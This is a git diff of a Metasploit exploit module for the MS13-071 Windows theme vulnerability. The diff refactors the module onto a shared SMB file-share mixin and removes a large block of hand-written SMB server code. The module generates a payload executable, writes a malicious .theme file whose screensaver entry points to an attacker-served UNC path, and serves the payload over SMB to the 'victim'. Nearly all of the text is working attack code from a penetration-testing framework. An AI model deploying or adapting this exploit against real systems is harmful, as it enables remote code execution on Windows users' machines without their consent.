diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index 88cc325763..3e8e5d53ff 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE - include Msf::Exploit::Remote::SMB::Server + include Msf::Exploit::Remote::SMB::Server::Share def initialize(info={}) super(update_info(info, @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Eduardo Prado', # Vulnerability discovery - 'juan vazquez' # Metasploit module + 'juan vazquez', # Metasploit module + 'Matthew Hall ' # Metasploit module refactored to use Remote::SMBFileServer ], 'References' => [ @@ -56,30 +57,18 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DisclosureDate' => "Sep 10 2013", 'DefaultTarget' => 0)) - - register_options( + register_options( [ - OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), - OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ]) + OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), + OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr']) ], self.class) + deregister_options('FILE_CONTENTS') end def exploit - - if (datastore['UNCPATH']) - @unc = datastore['UNCPATH'] - print_status("Remember to share the malicious EXE payload as #{@unc}") - else - print_status("Generating our malicious executable...") - @exe = generate_payload_exe - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - @share = rand_text_alpha(5 + rand(5)) - @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr" - @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i) - @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}" - end - print_status("Creating '#{datastore['FILENAME']}' file ...") + self.file_contents = generate_payload_exe + print_status("Malicious SCR available on #{unc}...") # Default Windows XP / 2003 theme modified theme = <<-EOF ; Copyright (c) Microsoft Corp. 1995-2001 @@ -118,316 +107,6 @@ SCRNSAVE.EXE=#{@unc} MTSM=DABJDKT EOF file_create(theme) - print_good("Let your victim open #{datastore['FILENAME']}") - - if not datastore['UNCPATH'] - print_status("Ready to deliver your payload on #{@unc}") - super - end - - end - - # TODO: these smb_* methods should be moved up to the SMBServer mixin - # development and test on progress - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - vprint_status("Received command #{cmd} from #{smb[:name]}") - - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - - case cmd - when CONST::SMB_COM_NEGOTIATE - smb_cmd_negotiate(c, buff) - when CONST::SMB_COM_SESSION_SETUP_ANDX - wordcount = pkt['Payload']['SMB'].v['WordCount'] - if wordcount == 0x0D # It's the case for Share Security Mode sessions - smb_cmd_session_setup(c, buff) - else - vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - when CONST::SMB_COM_TRANSACTION2 - smb_cmd_trans(c, buff) - when CONST::SMB_COM_NT_CREATE_ANDX - smb_cmd_create(c, buff) - when CONST::SMB_COM_READ_ANDX - smb_cmd_read(c, buff) - else - vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - end - - - def smb_cmd_negotiate(c, buff) - pkt = CONST::SMB_NEG_PKT.make_struct - pkt.from_s(buff) - - dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) - - dialect = dialects.index("NT LM 0.12") || dialects.length-1 - - pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct - smb_set_defaults(c, pkt) - - time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 17 - pkt['Payload'].v['Dialect'] = dialect - pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode - pkt['Payload'].v['MaxMPX'] = 50 - pkt['Payload'].v['MaxVCS'] = 1 - pkt['Payload'].v['MaxBuff'] = 4356 - pkt['Payload'].v['MaxRaw'] = 65536 - pkt['Payload'].v['SystemTimeLow'] = time_lo - pkt['Payload'].v['SystemTimeHigh'] = time_hi - pkt['Payload'].v['ServerTimeZone'] = 0x0 - pkt['Payload'].v['SessionKey'] = 0 - pkt['Payload'].v['Capabilities'] = 0x80f3fd - pkt['Payload'].v['KeyLength'] = 8 - pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8) - - c.put(pkt.to_s) - end - - def smb_cmd_session_setup(c, buff) - - pkt = CONST::SMB_SETUP_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 3 - pkt['Payload'].v['AndX'] = 0x75 - pkt['Payload'].v['Reserved1'] = 00 - pkt['Payload'].v['AndXOffset'] = 96 - pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest - pkt['Payload'].v['Payload'] = - Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature - Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature - Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature - tree_connect_response = "" - tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount - tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand - tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved - tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset - tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support - tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount - tree_connect_response << "A:\x00" # Service - tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters - # Fix the Netbios Session Service Message Length - # to have into account the tree_connect_response, - # need to do this because there isn't support for - # AndX still - my_pkt = pkt.to_s + tree_connect_response - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + tree_connect_response.length - my_pkt[2, 2] = [original_length].pack("n") - c.put(my_pkt) - end - - def smb_cmd_create(c, buff) - pkt = CONST::SMB_CREATE_PKT.make_struct - pkt.from_s(buff) - - if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/ - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 42 - pkt['Payload'].v['AndX'] = 0xff # no further commands - pkt['Payload'].v['OpLock'] = 0x2 - # No need to track fid here, we're just offering one file - pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 - pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened - pkt['Payload'].v['CreateTimeLow'] = @lo - pkt['Payload'].v['CreateTimeHigh'] = @hi - pkt['Payload'].v['AccessTimeLow'] = @lo - pkt['Payload'].v['AccessTimeHigh'] = @hi - pkt['Payload'].v['WriteTimeLow'] = @lo - pkt['Payload'].v['WriteTimeHigh'] = @hi - pkt['Payload'].v['ChangeTimeLow'] = @lo - pkt['Payload'].v['ChangeTimeHigh'] = @hi - pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file - pkt['Payload'].v['AllocLow'] = 0x100000 - pkt['Payload'].v['AllocHigh'] = 0 - pkt['Payload'].v['EOFLow'] = @exe.length - pkt['Payload'].v['EOFHigh'] = 0 - pkt['Payload'].v['FileType'] = 0 - pkt['Payload'].v['IPCState'] = 0x7 - pkt['Payload'].v['IsDirectory'] = 0 - c.put(pkt.to_s) - else - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - c.put(pkt.to_s) - end - - end - - def smb_cmd_read(c, buff) - pkt = CONST::SMB_READ_PKT.make_struct - pkt.from_s(buff) - - offset = pkt['Payload'].v['Offset'] - length = pkt['Payload'].v['MaxCountLow'] - - pkt = CONST::SMB_READ_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 12 - pkt['Payload'].v['AndX'] = 0xff # no more commands - pkt['Payload'].v['Remaining'] = 0xffff - pkt['Payload'].v['DataLenLow'] = length - pkt['Payload'].v['DataOffset'] = 59 - pkt['Payload'].v['DataLenHigh'] = 0 - pkt['Payload'].v['Reserved3'] = 0 - pkt['Payload'].v['Reserved4'] = 6 - pkt['Payload'].v['ByteCount'] = length - pkt['Payload'].v['Payload'] = @exe[offset, length] - - c.put(pkt.to_s) - end - - def smb_cmd_trans(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - sub_command = pkt['Payload'].v['SetupData'].unpack("v").first - case sub_command - when 0x5 # QUERY_PATH_INFO - smb_cmd_trans_query_path_info(c, buff) - when 0x1 # FIND_FIRST2 - smb_cmd_trans_find_first2(c, buff) - else - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND - c.put(pkt.to_s) - end - end - - def smb_cmd_trans_query_path_info(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - if pkt['Payload'].v['SetupData'].length < 16 - # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, - # return a Directory answer - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 40 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 40 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - "\x10\x00\x00\x00" + # File attributes => directory - "\x00\x00\x00\x00" # Unknown - c.put(pkt.to_s) - - else - # if QUERY_PATH_INFO_PARAMETERS includes a file name, - # returns an object name not found error - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - c.put(pkt.to_s) - - end - end - - def smb_cmd_trans_find_first2(c, buff) - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - file_name = Rex::Text.to_unicode(@scr_file) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length - pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 94 + file_name.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x01\x00" + # Search count - "\x01\x00" + # End Of Search - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [94 + file_name.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File - "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size - "\x80\x00\x00\x00" + # File attributes => directory - [file_name.length].pack("V") + # File name len - "\x00\x00\x00\x00" + # EA List Lenght - "\x00" + # Short file lenght - "\x00" + # Reserved - ("\x00" * 24) + - file_name - - c.put(pkt.to_s) end end -